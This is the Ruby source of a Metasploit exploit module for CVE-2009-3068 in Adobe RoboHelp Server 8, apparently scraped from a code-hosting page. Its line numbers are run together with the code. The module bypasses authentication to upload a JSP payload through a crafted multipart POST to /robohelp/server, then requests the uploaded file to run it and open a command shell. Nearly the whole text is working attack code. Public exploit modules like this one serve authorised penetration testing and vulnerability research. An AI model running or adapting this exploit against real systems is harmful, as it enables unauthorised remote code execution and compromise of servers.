Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/adobe_robohelper_authbypass.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }910include Msf::Exploit::Remote::HttpClient1112def initialize(info = {})13super(update_info(info,14'Name' => 'Adobe RoboHelp Server 8 Arbitrary File Upload and Execute',15'Description' => %q{16This module exploits an authentication bypass vulnerability which17allows remote attackers to upload and execute arbitrary code.18},19'Author' => [ 'MC' ],20'License' => MSF_LICENSE,21'Platform' => 'win',22'Privileged' => true,23'References' =>24[25[ 'CVE', '2009-3068' ],26[ 'OSVDB', '57896'],27[ 'URL', 'http://www.intevydis.com/blog/?p=69' ],28[ 'ZDI', '09-066' ],29],30'Targets' =>31[32[ 'Universal Windows Target',33{34'Arch' => ARCH_JAVA,35'Payload' =>36{37'DisableNops' => true,38},39}40],41],42'DefaultOptions' =>43{44'SHELL' => 'cmd.exe'45},46'DefaultTarget' => 0,47'DisclosureDate' => '2009-09-23'48))4950register_options( [ Opt::RPORT(8080) ])51end5253def exploit5455page = Rex::Text.rand_text_alpha_upper(8) + ".jsp"56uid = rand(20).to_s5758file = "-----------------------------#{uid}\r\n"59file << "Content-Disposition: form-data; name=\"filename\"; filename=\"#{page}\"\r\n"60file << "Content-Type: application/x-java-archive\r\n\r\n"61file << payload.encoded62file << "\r\n"6364print_status("Sending our POST request...")6566res = send_request_cgi(67{68'uri' => '/robohelp/server',69'version' => '1.1',70'method' => 'POST',71'encode_params' => false,72'data' => file,73'headers' => {74'Content-Type' => 'multipart/form-data; boundary=---------------------------' + uid,75'UID' => uid,76},77'vars_get' => {78'PUBLISH' => uid79}80}, 5)8182if ( res and res.message =~ /OK/ )83id = res['sessionid'].to_s.strip8485print_status("Got sessionid of '#{id}'. Sending our second request to '#{page}'...")86data = send_request_raw({87'uri' => normalize_uri('robohelp', 'robo','reserved', 'web', id, page),88'method' => 'GET',89'version' => '1.0'90}, 5)9192handler93else94print_error("No SESSIONID acquired...")95return96end97end98end99100101